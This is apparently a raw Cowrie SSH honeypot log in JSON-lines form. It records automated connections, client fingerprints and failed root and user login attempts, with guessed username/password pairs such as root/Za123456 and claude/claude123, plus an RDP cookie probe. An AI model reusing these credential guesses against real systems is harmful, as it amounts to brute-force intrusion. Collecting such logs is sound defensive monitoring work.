{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:81:84:13:b8:42:4a:ad:d6:a2:02:87:2d:81:2b:34","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANg+dZLv/YygL3ppR81NsRa0mJmf0Rcr/XhZyhZqSlXD72yDBpIj9SVPNh+ievsQVrVAtA1sS/DjvYnreu+uHZS9wockEyI9YNlzAGtQBxNZA5EGDAuU0lXXlt3IndEaCHMErk314KbAoMCGmPXLT4G69Ayl6wgX0qYrs0oHS4DHAAAAFQDWdCCyIP9jfzSEVK/9gHckOhdX2wAAAIBxIAJGzSfeDRWgWozfQwdwpqLRY4/9sn+MDRx9mIBqmiSNw3FUIopjfBnKpifNAfOcELwgkD0HLJWtPXCrxH3DPSWEbtIHhJTq75sa+7fc65OfEamUA6Dl8c9taTfyB2TFJHGBnFmH3jze9w1C5qKCa+pJN45589LpGLwmL0UrPgAAAIEAq9dMKVIlbH6hjGbF0TX9v11Z3IYf6pRBOcJml11BOSwmib6M0P2Nt+kD8pD/ZCr/ZnK5616YNVKTOmKnyNL8++uDVh0hAWoxBTrwdfjk2q0SuafPSS2jA6QvyZtm6tjpP6E/OG5xOSeVT7acJlD1yFwhDT8oAGyWUkA9peUSJXc=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.273803Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:61:20:f5:bc:37:b4:8d:b9:eb:ba:1b:1b:28:25:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwy7XIz3809kmxoto0Mh8MVsn2P1VfSwqmZgIsrxufcA79w4s4FrE5YunDU2mRcXu4plMKFwpnFxhmjge+gogkuggUFL8Qu/K09GS2WoxsC2jpboFGEjJUmvVTezPMDKDqicWpsLNGBtcsn2y8BOvPpbIME+dXVpRxHBx4SteH9QVyEVd+cBwFm3fZYQAvMFIKXoZlHkUp6Yl7CxubhcxIdjMzP6XMcUHeuwLRUs8nQ2hADjSgyn8EcYCb8bj8iviFjxntCAhvOIhl+H16y8NjKjOyUUukkr3e0gwWaYAMXpLwu6ebd1NPN10kO3APjsnxMgGXWE4ZJLbVM52nY767","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:61:20:f5:bc:37:b4:8d:b9:eb:ba:1b:1b:28:25:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.350199Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:61:20:f5:bc:37:b4:8d:b9:eb:ba:1b:1b:28:25:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwy7XIz3809kmxoto0Mh8MVsn2P1VfSwqmZgIsrxufcA79w4s4FrE5YunDU2mRcXu4plMKFwpnFxhmjge+gogkuggUFL8Qu/K09GS2WoxsC2jpboFGEjJUmvVTezPMDKDqicWpsLNGBtcsn2y8BOvPpbIME+dXVpRxHBx4SteH9QVyEVd+cBwFm3fZYQAvMFIKXoZlHkUp6Yl7CxubhcxIdjMzP6XMcUHeuwLRUs8nQ2hADjSgyn8EcYCb8bj8iviFjxntCAhvOIhl+H16y8NjKjOyUUukkr3e0gwWaYAMXpLwu6ebd1NPN10kO3APjsnxMgGXWE4ZJLbVM52nY767","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.354513Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:8b:5e:f4:a0:24:1a:c1:d2:33:0a:4f:60:c5:25:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGnzDHWW0OEAfUSdvvT8NY2x4YhJ4wbOiEhmRKK2khhAJgLI/mm2qiiggyq51hBRyEnQQPLBtHxtdgexHhtaswFStPeW+anUuNZEV9kuAHn5Z2Ibaj/pTgkJ+sfgc+xCnLicxjo7ytQA4GH6gdl+HudtLprpsTW1EGxqyTbbbJJNtVNBjautmUR7FnXhSMVN4w9wLZCEYXAYg8GD/3JAc7Jfykee9IYyp+7A19CjzGqXrTR2qLNUYIrTZ1/vGFrpkwa0a11ALVyDOu66MrhSf9KaKbhjVTFDaSBwKENwJPiG1hVX+Fbi4To8N5VlU7KmaD18TfH3ce5f2uaEpPIAYl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:8b:5e:f4:a0:24:1a:c1:d2:33:0a:4f:60:c5:25:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.432949Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:8b:5e:f4:a0:24:1a:c1:d2:33:0a:4f:60:c5:25:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGnzDHWW0OEAfUSdvvT8NY2x4YhJ4wbOiEhmRKK2khhAJgLI/mm2qiiggyq51hBRyEnQQPLBtHxtdgexHhtaswFStPeW+anUuNZEV9kuAHn5Z2Ibaj/pTgkJ+sfgc+xCnLicxjo7ytQA4GH6gdl+HudtLprpsTW1EGxqyTbbbJJNtVNBjautmUR7FnXhSMVN4w9wLZCEYXAYg8GD/3JAc7Jfykee9IYyp+7A19CjzGqXrTR2qLNUYIrTZ1/vGFrpkwa0a11ALVyDOu66MrhSf9KaKbhjVTFDaSBwKENwJPiG1hVX+Fbi4To8N5VlU7KmaD18TfH3ce5f2uaEpPIAYl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.437357Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:ee:7b:fa:5c:f9:92:b3:e6:42:61:d2:be:4a:58:f5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFLxbjbhufvazL5q3yjZOVVsaA2t9Xhc+BDW1N51Uxwc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 27:ee:7b:fa:5c:f9:92:b3:e6:42:61:d2:be:4a:58:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.519514Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:ee:7b:fa:5c:f9:92:b3:e6:42:61:d2:be:4a:58:f5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFLxbjbhufvazL5q3yjZOVVsaA2t9Xhc+BDW1N51Uxwc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.523617Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.603330Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":33278,"dst_ip":"10.17.0.5","dst_port":22,"session":"916f7fa37718","protocol":"ssh","message":"New connection: 40.117.97.0:33278 (10.17.0.5:22) [session: 916f7fa37718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:14.698608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:15.389759Z","src_ip":"40.117.97.0","session":"916f7fa37718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:15.402369Z","src_ip":"40.117.97.0","session":"916f7fa37718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":51974,"dst_ip":"10.17.0.5","dst_port":22,"session":"8afb604b9a43","protocol":"ssh","message":"New connection: 170.106.115.61:51974 (10.17.0.5:22) [session: 8afb604b9a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:16.068887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:16.074032Z","src_ip":"170.106.115.61","session":"8afb604b9a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:16.144542Z","src_ip":"170.106.115.61","session":"8afb604b9a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111","message":"login attempt [root/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:16.452411Z","src_ip":"170.106.115.61","session":"8afb604b9a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:17.524470Z","src_ip":"170.106.115.61","session":"8afb604b9a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpass1","message":"login attempt [root/newpass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:18.756124Z","src_ip":"40.117.97.0","session":"916f7fa37718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:19.776898Z","src_ip":"40.117.97.0","session":"916f7fa37718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":55700,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd375e2054ef","protocol":"ssh","message":"New connection: 43.156.17.27:55700 (159.203.135.109:22) [session: cd375e2054ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:30.473272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:30.478706Z","src_ip":"43.156.17.27","session":"cd375e2054ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:30.717779Z","src_ip":"43.156.17.27","session":"cd375e2054ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":13364,"dst_ip":"159.203.135.109","dst_port":22,"session":"2350bde547af","protocol":"ssh","message":"New connection: 165.154.227.158:13364 (159.203.135.109:22) [session: 2350bde547af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:31.569775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:31.574279Z","src_ip":"165.154.227.158","session":"2350bde547af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123123","message":"login attempt [server/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:31.706004Z","src_ip":"43.156.17.27","session":"cd375e2054ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:31.790088Z","src_ip":"165.154.227.158","session":"2350bde547af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:32.682483Z","src_ip":"165.154.227.158","session":"2350bde547af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:32.947810Z","src_ip":"43.156.17.27","session":"cd375e2054ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:33.901021Z","src_ip":"165.154.227.158","session":"2350bde547af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60061,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8e359dbd8b9","protocol":"ssh","message":"New connection: 167.172.81.52:60061 (159.203.135.109:22) [session: e8e359dbd8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:52.601356Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:52.607261Z","src_ip":"167.172.81.52","session":"e8e359dbd8b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:04:52.611482Z","src_ip":"167.172.81.52","session":"e8e359dbd8b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":34002,"dst_ip":"159.203.135.109","dst_port":22,"session":"f591fe0e8c2d","protocol":"ssh","message":"New connection: 103.183.114.55:34002 (159.203.135.109:22) [session: f591fe0e8c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:47.863431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:47.868787Z","src_ip":"103.183.114.55","session":"f591fe0e8c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:48.097123Z","src_ip":"103.183.114.55","session":"f591fe0e8c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":51498,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbb1a4c49f75","protocol":"ssh","message":"New connection: 170.106.115.61:51498 (10.17.0.5:22) [session: dbb1a4c49f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:48.128500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:48.132617Z","src_ip":"170.106.115.61","session":"dbb1a4c49f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:48.200941Z","src_ip":"170.106.115.61","session":"dbb1a4c49f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Za123456","message":"login attempt [root/Za123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:48.509367Z","src_ip":"170.106.115.61","session":"dbb1a4c49f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"918273645","message":"login attempt [root/918273645] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:48.900219Z","src_ip":"103.183.114.55","session":"f591fe0e8c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:49.580918Z","src_ip":"170.106.115.61","session":"dbb1a4c49f75","protocol":"ssh"}
